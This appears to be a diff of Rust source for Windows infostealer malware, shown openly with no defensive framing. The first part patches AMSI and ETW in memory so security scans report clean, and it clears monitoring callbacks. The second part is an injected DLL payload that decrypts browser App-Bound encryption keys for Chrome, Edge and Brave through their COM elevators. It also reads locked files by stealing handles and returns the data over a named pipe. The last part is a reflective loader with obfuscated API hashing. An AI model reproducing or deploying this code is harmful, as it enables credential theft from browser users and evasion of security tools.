0x48, 0x8B, 0x54, 0x24, 0x30, // mov rdx,[rsp+0x30]
0x89, 0x02, // mov [rdx],eax
0xC3,
],
3 => &[
0x31, 0xC0, // xor eax,eax
0x4C, 0x8B, 0x44, 0x24, 0x30, // mov r8,[rsp+0x30]
0x89, 0x00, // mov [r8],eax
0xC3,
],
_ => &[
0x31, 0xC0, // xor eax,eax
0x48, 0x8B, 0x94, 0x24, 0x30, 0x00, 0x00, 0x00, // mov rdx,[rsp+0x30] (SIB/disp enc)
0x89, 0x02, // mov [rdx],eax
0xC3,
],
}
}
/// AmsiOpenSession → E_AMSI_NOT_INITIALIZED. Sessions fail to open, so even
/// hosts that route scans through session-based APIs report nothing.
fn amsi_open_session_stub() -> &'static [u8] {
// All variants return a FAILING HRESULT (high bit set) so script hosts
// treat the session-open as failed. Never return a positive status — that
// is interpreted as SUCCESS and the patch silently no-ops.
match variant(3) {
0 => &[0xB8, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov eax, 0x80020011 (E_AMSI_NOT_INITIALIZED) ; ret
1 => &[0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3], // mov eax, 0x80070057 (E_INVALIDARG) ; ret
_ => &[0x48, 0xC7, 0xC0, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov rax, 0x80020011 ; ret (distinct enc)
}
}
/// Patch amsi.dll!AmsiScanBuffer so every scan reports AMSI_RESULT_CLEAN.
pub fn patch_amsi() -> bool {
unsafe { patch_amsi_saved() }
}
unsafe fn patch_amsi_saved() -> bool {
let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI));
if amsi == 0 {
return false; // amsi.dll not loaded in this host — nothing to do
}
let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_SCAN_BUFFER));
if target == 0 {
return false;
}
patch_memory(target, amsi_scan_stub(), true)
}
/// Patch amsi.dll!AmsiOpenSession to fail (defense-in-depth).
pub fn patch_amsi_opensession() -> bool {
unsafe { patch_amsi_opensession_saved() }
}
unsafe fn patch_amsi_opensession_saved() -> bool {
let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI));
if amsi == 0 {
return false;
}
let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_OPEN_SESSION));
if target == 0 {
return false;
}
patch_memory(target, amsi_open_session_stub(), true)
}
// ---------------------------------------------------------------------------
// 3. Instrumentation-callback bypass
// ---------------------------------------------------------------------------
const PROCESS_INSTRUMENTATION_CALLBACK: u32 = 40;
/// Query the current instrumentation callback (if any monitor installed one).
unsafe fn query_instrumentation_callback() -> usize {
let mut cb: usize = 0;
let st = syscall::sys_nt_query_information_process(
abi_current_process(),
PROCESS_INSTRUMENTATION_CALLBACK,
(&mut cb) as *mut usize as *mut c_void,
core::mem::size_of::<usize>() as u32,
ptr::null_mut(),
);
if st != 0 {
return 0;
}
cb
}
/// Clear any externally-registered instrumentation callback.
pub fn clear_instrumentation_callback() -> bool {
unsafe {
let existing = query_instrumentation_callback();
if existing == 0 {
return true;
}
let zero: usize = 0;
let st = syscall::sys_nt_set_information_process(
abi_current_process(),
PROCESS_INSTRUMENTATION_CALLBACK,
(&zero) as *const usize as *mut c_void,
core::mem::size_of::<usize>() as u32,
);
st == 0
}
}
// ---------------------------------------------------------------------------
// Orchestration
// ---------------------------------------------------------------------------
/// Apply the full patch set. Returns bitmask:
/// bit0=ETW bit1=AMSI bit2=InstrCb bit3=deepETW bit4=EventEnabled bit5=OpenSession
pub fn apply_all() -> u32 {
let seed = flow::run_time_nonce();
let mut done: u32 = 0;
// ETW + AMSI primary, opaque order.
if flow::opaque_true(seed ^ gen::CFF_KEY) {
flow::junk_complex(seed);
if patch_etw() { done |= 1; }
if patch_amsi() { done |= 2; }
} else {
flow::junk();
if patch_amsi() { done |= 2; }
if patch_etw() { done |= 1; }
}
// Secondary layers.
if patch_etw_eventenabled() { done |= 16; }
if patch_amsi_opensession() { done |= 32; }
if clear_instrumentation_callback() { done |= 4; }
// Deep ETW only once the primary landed.
if done & 1 != 0 && patch_etw_deep() {
done |= 8;
}
done
}
@@ -0,0 +1,628 @@
//! Injected-payload logic, ported from key_extractor.cpp.
//!
//! On attach the payload reads the pipe name from the `RECOVERY_PIPE`
//! environment variable and spawns a worker thread that services a length-
//! prefixed protocol: `KEY:browser:base64` (App-Bound/v20 key decryption via
//! the browser's COM elevator) and `READ:path` (read a file, transparently
//! duplicating the owning process's open handle on a sharing violation).
use core::ffi::c_void;
use core::ptr;
use crate::abi::{self, GUID};
use crate::gen;
use crate::obf;
const MAX_MSG: u32 = 16384;
const MAX_FILE: u32 = 50 * 1024 * 1024; // 50MB
const ENV_BUF: u32 = 512;
const PATH_BUF: usize = 32768;
/// Runtime-decrypt a compile-time obfuscated byte signature into a Vec.
fn dec_bytes(key: u8, slot: &(obf::Slot, u32), len: usize) -> Vec<u8> {
let raw = obf::dec_sig(key, slot, len);
raw[..len.min(obf::MAX_LEN)].to_vec()
}
// ---------------------------------------------------------------------------
// Protocol / identity strings — kept out of `.rodata` as plaintext.
// ---------------------------------------------------------------------------
fn proto_key() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8001, b"KEY:"), 4) }
fn proto_read() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8002, b"READ:"), 5) }
fn proto_exit() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8003, b"EXIT"), 4) }
fn env_pipe_name() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8004, b"RECOVERY_PIPE"), 13) }
// ---- OVERLAPPED (x64 layout) ----
#[repr(C)]
#[derive(Clone, Copy)]
struct Overlapped {
internal: usize,
internal_high: usize,
offset: u32,
offset_high: u32,
h_event: usize,
}
impl Overlapped {
fn zeroed() -> Self {
Overlapped {
internal: 0,
internal_high: 0,
offset: 0,
offset_high: 0,
h_event: 0,
}
}
}
// ---- base64 decode (standard, padded) ----
fn b64_val(c: u8) -> i32 {
match c {
b'A'..=b'Z' => (c - b'A') as i32,
b'a'..=b'z' => (c - b'a' + 26) as i32,
b'0'..=b'9' => (c - b'0' + 52) as i32,
b'+' => 62,
b'/' => 63,
_ => -1,
}
}
fn base64_decode(s: &[u8]) -> Vec<u8> {
let mut out = Vec::new();
let mut acc: u32 = 0;
let mut bits: u32 = 0;
for &c in s {
if c == b'=' {
break;
}
let v = b64_val(c);
if v < 0 {
continue;
}
acc = (acc << 6) | v as u32;
bits += 6;
if bits >= 8 {
bits -= 8;
out.push((acc >> bits) as u8);
}
}
out
}
// ---- wide / utf helpers ----
fn utf8_to_wide(bytes: &[u8]) -> Vec<u16> {
let s = String::from_utf8_lossy(bytes);
let mut v: Vec<u16> = s.encode_utf16().collect();
v.push(0);
v
}
fn ascii_eq_ignore_case(a: &[u8], b: &[u8]) -> bool {
if a.len() != b.len() {
return false;
}
a.iter().zip(b.iter()).all(|(&x, &y)| x.to_ascii_lowercase() == y.to_ascii_lowercase())
}
/// Case-sensitive wide substring search (matches the C `wcsstr` behavior).
fn wide_contains(haystack: &[u16], needle: &[u16]) -> bool {
if needle.is_empty() {
return true;
}
if haystack.len() < needle.len() {
return false;
}
(0..=haystack.len() - needle.len()).any(|i| &haystack[i..i + needle.len()] == needle)
}
// ---- pipe helpers ----
unsafe fn pipe_read_exact(h: usize, buf: *mut u8, len: u32) -> bool {
let mut off = 0u32;
while off < len {
let mut rd = 0u32;
let ok = abi::ReadFile(
h,
buf.add(off as usize) as *mut c_void,
len - off,
&mut rd,
ptr::null_mut(),
);
if ok == 0 || rd == 0 {
return false;
}
off += rd;
}
true
}
unsafe fn pipe_write_all(h: usize, buf: *const u8, len: u32) -> bool {
let mut off = 0u32;
while off < len {
let mut wr = 0u32;
let ok = abi::WriteFile(
h,
buf.add(off as usize) as *const c_void,
len - off,
&mut wr,
ptr::null_mut(),
);
if ok == 0 || wr == 0 {
return false;
}
off += wr;
}
true
}
unsafe fn send_response(h: usize, status: u8, data: &[u8]) -> bool {
let total = 1u32 + data.len() as u32;
let len_bytes = total.to_le_bytes();
if !pipe_write_all(h, len_bytes.as_ptr(), 4) {
return false;
}
if !pipe_write_all(h, &status as *const u8, 1) {
return false;
}
if !data.is_empty() && !pipe_write_all(h, data.as_ptr(), data.len() as u32) {
return false;
}
abi::FlushFileBuffers(h);
true
}
// ---- COM elevator (IElevator / IEdgeElevator) ----
// Chrome/Brave: IUnknown + RunRecoveryCRXElevated + EncryptData + DecryptData
#[repr(C)]
struct IElevatorVtbl {
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
release: unsafe extern "system" fn(*mut c_void) -> u32,
run_recovery_crx_elevated: unsafe extern "system" fn(
*mut c_void,
*const u16,
*const u16,
*const u16,
*const u16,
u32,
*mut usize,
) -> i32,
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
}
// Edge: IUnknown + 3 base methods + RunRecoveryCRXElevated + EncryptData + DecryptData
#[repr(C)]
struct IEdgeElevatorVtbl {
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
release: unsafe extern "system" fn(*mut c_void) -> u32,
edge_method1: unsafe extern "system" fn(*mut c_void) -> i32,
edge_method2: unsafe extern "system" fn(*mut c_void) -> i32,
edge_method3: unsafe extern "system" fn(*mut c_void) -> i32,
run_recovery_crx_elevated: unsafe extern "system" fn(
*mut c_void,
*const u16,
*const u16,
*const u16,
*const u16,
u32,
*mut usize,
) -> i32,
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
}
const CLSID_CHROME: GUID = GUID {
data1: 0x708860E0,
data2: 0xF641,
data3: 0x4611,
data4: [0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B],
};
const IID_CHROME: GUID = GUID {
data1: 0x463ABECF,
data2: 0x410D,
data3: 0x407F,
data4: [0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8],
};
const IID_CHROME2: GUID = GUID {
data1: 0x1BF5208B,
data2: 0x295F,
data3: 0x4992,
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
};
const CLSID_EDGE: GUID = GUID {
data1: 0x1FCBE96C,
data2: 0x1697,
data3: 0x43AF,
data4: [0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67],
};
const IID_EDGE: GUID = GUID {
data1: 0xC9C2B807,
data2: 0x7731,
data3: 0x4F34,
data4: [0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B],
};
const IID_EDGE2: GUID = GUID {
data1: 0x8F7B6792,
data2: 0x784D,
data3: 0x4047,
data4: [0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05],
};
const CLSID_BRAVE: GUID = GUID {
data1: 0x576B31AF,
data2: 0x6369,
data3: 0x4B6B,
data4: [0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B],
};
const IID_BRAVE: GUID = GUID {
data1: 0xF396861E,
data2: 0x0C8E,
data3: 0x4C71,
data4: [0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9],
};
const IID_BRAVE2: GUID = GUID {
data1: 0x1BF5208B,
data2: 0x295F,
data3: 0x4992,
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
};
const COLE_DEFAULT_PRINCIPAL: *mut u16 = usize::MAX as *mut u16;
unsafe fn set_proxy_blanket(ptr: *mut c_void) {
abi::CoSetProxyBlanket(
ptr,
abi::RPC_C_AUTHN_DEFAULT,
abi::RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL,
abi::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
abi::RPC_C_IMP_LEVEL_IMPERSONATE,
ptr::null_mut(),
abi::EOAC_DYNAMIC_CLOAKING,
);
}
unsafe fn decrypt_chrome(
clsid: GUID,
iid: GUID,
iid2: GUID,
bstr: *mut u16,
out: *mut *mut u16,
err: *mut u32,
) -> i32 {
let mut ptr: *mut c_void = ptr::null_mut();
let mut hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid2, &mut ptr);
if hr < 0 {
hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid, &mut ptr);
}
if hr < 0 || ptr.is_null() {
return hr;
}
set_proxy_blanket(ptr);
let vtbl = *(ptr as *const *const IElevatorVtbl);
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
((*vtbl).release)(ptr);
hr
}
unsafe fn decrypt_edge(bstr: *mut u16, out: *mut *mut u16, err: *mut u32) -> i32 {
// Try IEdgeElevator2 first, then IEdgeElevator (same vtable layout).
let mut ptr: *mut c_void = ptr::null_mut();
let mut hr = abi::CoCreateInstance(
&CLSID_EDGE,
ptr::null_mut(),
abi::CLSCTX_LOCAL_SERVER,
&IID_EDGE2,
&mut ptr,
);
if hr >= 0 && !ptr.is_null() {
set_proxy_blanket(ptr);
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
((*vtbl).release)(ptr);
if hr >= 0 && !(*out).is_null() {
return hr;
}
}
ptr = ptr::null_mut();
hr = abi::CoCreateInstance(
&CLSID_EDGE,
ptr::null_mut(),
abi::CLSCTX_LOCAL_SERVER,
&IID_EDGE,
&mut ptr,
);
if hr < 0 || ptr.is_null() {
return hr;
}
set_proxy_blanket(ptr);
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
((*vtbl).release)(ptr);
hr
}
fn decrypt_via_elevator(enc: &[u8], browser: &[u8]) -> Option<Vec<u8>> {
unsafe {
let hr = abi::CoInitializeEx(ptr::null_mut(), abi::COINIT_APARTMENTTHREADED);
if hr < 0 && hr != abi::RPC_E_CHANGED_MODE {
return None;
}
let bstr_enc = abi::SysAllocStringByteLen(enc.as_ptr(), enc.len() as u32);
if bstr_enc.is_null() {
abi::CoUninitialize();
return None;
}
let mut bstr_plain: *mut u16 = ptr::null_mut();
let mut com_err: u32 = 0;
let hr2 = if ascii_eq_ignore_case(browser, b"edge") {
decrypt_edge(bstr_enc, &mut bstr_plain, &mut com_err)
} else if ascii_eq_ignore_case(browser, b"brave") {
decrypt_chrome(CLSID_BRAVE, IID_BRAVE, IID_BRAVE2, bstr_enc, &mut bstr_plain, &mut com_err)
} else {
decrypt_chrome(CLSID_CHROME, IID_CHROME, IID_CHROME2, bstr_enc, &mut bstr_plain, &mut com_err)
};
abi::SysFreeString(bstr_enc);
let result = if hr2 >= 0 && !bstr_plain.is_null() {
let len = abi::SysStringByteLen(bstr_plain);
if len > 0 && len <= 64 {
let mut key = vec![0u8; len as usize];
ptr::copy_nonoverlapping(bstr_plain as *const u8, key.as_mut_ptr(), len as usize);
Some(key)
} else {
None
}
} else {
None
};
if !bstr_plain.is_null() {
abi::SysFreeString(bstr_plain);
}
abi::CoUninitialize();
result
}
}
// ---- READ handler ----
/// Brute-force the owning process's open file handle by walking handle values
/// and matching the DOS path (ported from `find_open_handle`).
unsafe fn find_open_handle(target_path: &[u16]) -> usize {
let mut sep_count = 0;
let mut suffix_start = 0usize;
let mut i = target_path.len();
while i > 0 && sep_count < 2 {
i -= 1;
if target_path[i] == b'\\' as u16 {
sep_count += 1;
if sep_count == 2 {
suffix_start = i;
}
}
}
let suffix = &target_path[suffix_start..];
let mut h = 4usize;
while h < 0x10000 {
if abi::GetFileType(h) == abi::FILE_TYPE_DISK {
let mut name = [0u16; PATH_BUF];
let len = abi::GetFinalPathNameByHandleW(h, name.as_mut_ptr(), PATH_BUF as u32, 0);
if len > 0 && (len as usize) < PATH_BUF {
let slice = &name[..len as usize];
if wide_contains(slice, suffix) {
let mut dup = 0usize;
if abi::DuplicateHandle(
abi::GetCurrentProcess(),
h,
abi::GetCurrentProcess(),
&mut dup,
0,
0,
abi::DUPLICATE_SAME_ACCESS,
) != 0
{
return dup;
}
}
}
}
h += 4;
}
abi::INVALID_HANDLE_VALUE
}
unsafe fn handle_read(h: usize, utf8path: &[u8]) {
let wide = utf8_to_wide(utf8path);
let mut hfile = abi::CreateFileW(
wide.as_ptr(),
abi::GENERIC_READ,
abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE,
ptr::null_mut(),
abi::OPEN_EXISTING,
abi::FILE_ATTRIBUTE_NORMAL,
0,
);
let mut via_dup = false;
if hfile == abi::INVALID_HANDLE_VALUE && abi::GetLastError() == abi::ERROR_SHARING_VIOLATION {
hfile = find_open_handle(&wide[..wide.len() - 1]);
via_dup = true;
}
if hfile == abi::INVALID_HANDLE_VALUE {
send_response(h, 1, b"open failed");
return;
}
let size = abi::GetFileSize(hfile, ptr::null_mut());
if size == abi::INVALID_FILE_SIZE || size > MAX_FILE {
abi::CloseHandle(hfile);
send_response(h, 1, b"bad size");
return;
}
let mut data = vec![0u8; size as usize];
let mut rd = 0u32;
let ok = if via_dup {
let mut ov = Overlapped::zeroed();
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, &mut ov as *mut Overlapped as *mut c_void) != 0
&& rd == size
} else {
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, ptr::null_mut()) != 0
&& rd == size
};
abi::CloseHandle(hfile);
if ok {
send_response(h, 0, &data);
} else if via_dup {
send_response(h, 1, b"dup read fail");
} else {
send_response(h, 1, b"read fail");
}
}
// ---- KEY handler ----
unsafe fn handle_key(h: usize, args: &[u8]) {
let Some(pos) = args.iter().position(|&c| c == b':') else {
send_response(h, 1, b"bad format");
return;
};
let (browser, b64) = args.split_at(pos);
let enc = base64_decode(&b64[1..]);
if enc.len() < 5 {
send_response(h, 1, b"small key");
return;
}
match decrypt_via_elevator(&enc, browser) {
Some(key) => {
send_response(h, 0, &key);
}
None => {
send_response(h, 1, b"decrypt failed");
}
}
}
// ---- worker thread ----
unsafe fn worker(pipe: &[u16]) -> u32 {
let h = abi::CreateFileW(
pipe.as_ptr(),
abi::GENERIC_READ | abi::GENERIC_WRITE,
0,
ptr::null_mut(),
abi::OPEN_EXISTING,
0,
0,
);
if h == abi::INVALID_HANDLE_VALUE {
return 1;
}
loop {
let mut msg_len: u32 = 0;
if !pipe_read_exact(h, &mut msg_len as *mut u32 as *mut u8, 4)
|| msg_len == 0
|| msg_len > MAX_MSG
{
break;
}
let mut msg = vec![0u8; msg_len as usize];
if !pipe_read_exact(h, msg.as_mut_ptr(), msg_len) {
break;
}
let pkey = proto_key();
let pread = proto_read();
let pexit = proto_exit();
if msg.len() >= pkey.len() && &msg[..pkey.len()] == pkey.as_slice() {
handle_key(h, &msg[pkey.len()..]);
} else if msg.len() >= pread.len() && &msg[..pread.len()] == pread.as_slice() {
handle_read(h, &msg[pread.len()..]);
} else if msg.len() >= pexit.len() && &msg[..pexit.len()] == pexit.as_slice() {
break;
} else {
send_response(h, 1, b"unknown");
}
}
abi::CloseHandle(h);
0
}
fn read_env_wide(name: &str) -> Option<Vec<u16>> {
let mut name_w: Vec<u16> = name.encode_utf16().collect();
name_w.push(0);
let mut buf = vec![0u16; ENV_BUF as usize];
unsafe {
let len = abi::GetEnvironmentVariableW(name_w.as_ptr(), buf.as_mut_ptr(), ENV_BUF);
if len == 0 || len >= ENV_BUF {
return None;
}
buf.truncate(len as usize);
Some(buf)
}
}
/// Read a NUL-terminated UTF-16 string from a pointer (the pipe name passed
/// through lpParameter by the injector).
fn read_wide_from_ptr(p: *const u16) -> Option<Vec<u16>> {
if p.is_null() {
return None;
}
let mut v = Vec::new();
let mut i = 0usize;
unsafe {
loop {
let c = *p.add(i);
if c == 0 {
break;
}
v.push(c);
i += 1;
if i > 4096 {
return None;
}
}
}
if v.is_empty() {
None
} else {
Some(v)
}
}
pub fn on_attach(lp_param: *const u16) {
// Prefer the pipe name passed in memory by the injector (works for running
// browsers); fall back to the inherited env var for spawned headless ones.
let env_name = env_pipe_name();
let env_name_str: String = String::from_utf8_lossy(&env_name).into_owned();
let pipe = read_wide_from_ptr(lp_param)
.or_else(|| read_env_wide(&env_name_str));
if let Some(pipe) = pipe {
let mut p = pipe;
p.push(0);
let _ = std::thread::Builder::new()
.spawn(move || unsafe {
worker(&p);
});
}
}
@@ -0,0 +1,478 @@
//! Position-independent reflective loader, pure Rust (no C).
//!
//! This is a direct port of the Harmony Security `ReflectiveLoader` approach.
//! The injection stubs copy this DLL's raw bytes into a remote process and
//! start a thread on the exported `ReflectiveLoader` entry. When that thread
//! begins, the copied image is *not* relocated and its imports are *not*
//! resolved, so this function must be position independent end to end:
//!
//! - It never reads relocatable data. All image structures are reached by
//! computing addresses at runtime and reading with volatile scalar loads.
//! - It resolves `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc`,
//! `NtFlushInstructionCache` and `RtlAddFunctionTable` by walking the PEB
//! module list and export tables by hand. Module names are matched by a
//! rotate hash of *immediate* constants — never through `.rodata` string
//! literals, because a RIP-relative load into the file-offset-mapped raw
//! copy would read the wrong bytes until the image has been relocated.
//! - It copies the image into a fresh RWX allocation, fixes up imports,
//! applies relocations, registers `.pdata` for exception unwinding and
//! finally invokes the DLL's entry point.
//!
//! All loops use `wrapping_*` arithmetic and every memory access is volatile
//! so the compiler cannot lower any access to a `memcpy`/`memset` libcall or
//! introduce a panic edge (both would route through a not-yet-loaded IAT or
//! unwinder).
use core::arch::asm;
const MEM_RESERVE_COMMIT: u32 = 0x0000_3000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const DLL_PROCESS_ATTACH: u32 = 1;
// rotate-right-by-1 hashes of the names the loader resolves.
// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks
// constant-folding) so the raw loader hashes never appear in the binary.
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
#[inline(always)]
fn r(h: u32) -> u32 {
h ^ core::hint::black_box(HASH_KEY)
}
const KERNEL32_HASH: u32 = 0xC3A0_008F ^ HASH_KEY;
const NTDLL_HASH: u32 = 0xE600_0091 ^ HASH_KEY;
const LOADLIBRARYA_HASH: u32 = 0x8DC0_0093 ^ HASH_KEY;
const GETPROCADDRESS_HASH: u32 = 0x8708_00A0 ^ HASH_KEY;
const VIRTUALALLOC_HASH: u32 = 0xB800_008F ^ HASH_KEY;
const NTFLUSH_HASH: u32 = 0xED3A_788A ^ HASH_KEY;
type LoadLibraryFn = unsafe extern "system" fn(name: *const u8) -> usize;
type GetProcAddressFn = unsafe extern "system" fn(module: usize, name: *const u8) -> usize;
type VirtualAllocFn = unsafe extern "system" fn(
addr: usize,
size: usize,
allocation_type: u32,
protect: u32,
) -> usize;
type NtFlushFn = unsafe extern "system" fn(handle: isize, base: usize, len: usize) -> i32;
type RtlAddFunctionTableFn = unsafe extern "system" fn(
function_table: usize,
entry_count: u32,
base_address: u64,
) -> i32;
type DllMainFn = unsafe extern "system" fn(hinstance: usize, reason: u32, reserved: usize) -> i32;
// ---- Volatile scalar memory access (never lowered to libcalls) ----
#[inline(always)]
unsafe fn rd_u8(p: usize, off: usize) -> u8 {
core::ptr::read_volatile((p + off) as *const u8)
}
#[inline(always)]
unsafe fn rd_u16(p: usize, off: usize) -> u16 {
core::ptr::read_volatile((p + off) as *const u16)
}
#[inline(always)]
unsafe fn rd_u32(p: usize, off: usize) -> u32 {
core::ptr::read_volatile((p + off) as *const u32)
}
#[inline(always)]
unsafe fn rd_u64(p: usize, off: usize) -> u64 {
core::ptr::read_volatile((p + off) as *const u64)
}
#[inline(always)]
unsafe fn wr_u8(p: usize, off: usize, v: u8) {
core::ptr::write_volatile((p + off) as *mut u8, v);
}
#[inline(always)]
unsafe fn wr_u64(p: usize, off: usize, v: u64) {
core::ptr::write_volatile((p + off) as *mut u64, v);
}
// Unaligned-safe read so the base scan can step byte-by-byte.
#[inline(always)]
unsafe fn rd_u16_bytes(p: usize) -> u16 {
rd_u8(p, 0) as u16 | ((rd_u8(p, 1) as u16) << 8)
}
#[inline(always)]
unsafe fn copy_bytes(dst: usize, src: usize, len: usize) {
for i in 0..len {
core::ptr::write_volatile((dst + i) as *mut u8, core::ptr::read_volatile((src + i) as *const u8));
}
}
// ---- Immediate materializers: build byte strings without .rodata ----
#[inline(always)]
unsafe fn fill_u64(dst: usize, lit: u64) {
wr_u8(dst, 0, (lit & 0xFF) as u8);
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
wr_u8(dst, 4, ((lit >> 32) & 0xFF) as u8);
wr_u8(dst, 5, ((lit >> 40) & 0xFF) as u8);
wr_u8(dst, 6, ((lit >> 48) & 0xFF) as u8);
wr_u8(dst, 7, ((lit >> 56) & 0xFF) as u8);
}
#[inline(always)]
unsafe fn fill_u32(dst: usize, lit: u32) {
wr_u8(dst, 0, (lit & 0xFF) as u8);
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
}
// ---- Position-independent runtime resolution ----
/// Current instruction pointer, obtained with a RIP-relative LEA so it is
/// valid before the image is relocated.
#[inline(never)]
fn rip_here() -> usize {
let ip: usize;
unsafe {
asm!(
"lea {}, [rip]",
out(reg) ip,
options(nomem, nostack, preserves_flags),
);
}
ip
}
/// x64 Process Environment Block via `gs:[0x60]`.
#[inline(never)]
unsafe fn peb_pointer() -> usize {
let peb: usize;
unsafe {
asm!(
"mov {}, qword ptr gs:[0x60]",
out(reg) peb,
options(nostack, preserves_flags),
);
}
peb
}
/// Scan backwards from `start` for the MZ/PE header of the running image.
unsafe fn find_image_base(start: usize) -> usize {
let mut p = start;
loop {
if p == 0 {
return 0;
}
if rd_u16_bytes(p) == 0x5A4D {
let lfanew = rd_u32(p, 0x3C) as usize;
if (0x40..1024).contains(&lfanew) {
let nt = p + lfanew;
if rd_u32(nt, 0) == 0x0000_4550 {
return p;
}
}
}
p = p.wrapping_sub(1);
}
}
/// Rotate `v` right by one bit.
#[inline(always)]
fn ror1(v: u32) -> u32 {
v.wrapping_shr(1) | v.wrapping_shl(31)
}
/// ror hash of a UTF-16 code-unit buffer (case-normalized).
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
while i < nchars {
let c = rd_u16(ptr, i * 2);
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add((c - 0x20) as u32);
} else {
h = h.wrapping_add(c as u32);
}
i += 1;
}
h
}
/// ror hash of a NUL-terminated ASCII string, case-normalized as above.
unsafe fn hash_ascii(ptr: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
loop {
let c = rd_u8(ptr, i) as u32;
if c == 0 {
return h;
}
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add(c - 0x20);
} else {
h = h.wrapping_add(c);
}
i += 1;
}
}
/// Walk the loaded-module list for the module whose base-name rotates to
/// `want`; returns its base address or 0.
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
let ldr = rd_u64(peb, 0x18) as usize;
if ldr == 0 {
return 0;
}
let head = rd_u64(ldr, 0x20) as usize;
if head == 0 {
return 0;
}
let mut cur = head;
loop {
if cur == 0 {
return 0;
}
let entry = cur.wrapping_sub(0x10);
let name_len = rd_u16(entry, 0x58) as usize;
if name_len > 0 {
let name_ptr = rd_u64(entry, 0x60) as usize;
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
return rd_u64(entry, 0x30) as usize;
}
}
let next = rd_u64(entry, 0x10) as usize;
if next == head || next == cur {
break;
}
cur = next;
}
0
}
/// Resolve an export of `base` by its ror-hashed name; returns its VA or 0.
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
let lfanew = rd_u32(base, 0x3C) as usize;
let dd = base + lfanew + 4 + 20 + 112;
let ed_rva = rd_u32(dd, 0) as usize;
if ed_rva == 0 {
return 0;
}
let ed = base + ed_rva;
let num_names = rd_u32(ed, 24) as usize;
let addr_of_funcs = rd_u32(ed, 28) as usize;
let addr_of_names = rd_u32(ed, 32) as usize;
let addr_of_ord = rd_u32(ed, 36) as usize;
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
return 0;
}
for i in 0..num_names {
let name_rva = rd_u32(base + addr_of_names, i * 4) as usize;
if hash_ascii(base + name_rva) == want {
let ordinal = rd_u16(base + addr_of_ord, i * 2) as usize;
let fn_rva = rd_u32(base + addr_of_funcs, ordinal * 4) as usize;
if fn_rva == 0 {
return 0;
}
return base + fn_rva;
}
}
0
}
/// Resolve an export by ordinal; returns its VA or 0.
unsafe fn export_by_ordinal(base: usize, ordinal: u16) -> usize {
let lfanew = rd_u32(base, 0x3C) as usize;
let dd = base + lfanew + 4 + 20 + 112;
let ed_rva = rd_u32(dd, 0) as usize;
if ed_rva == 0 {
return 0;
}
let ed = base + ed_rva;
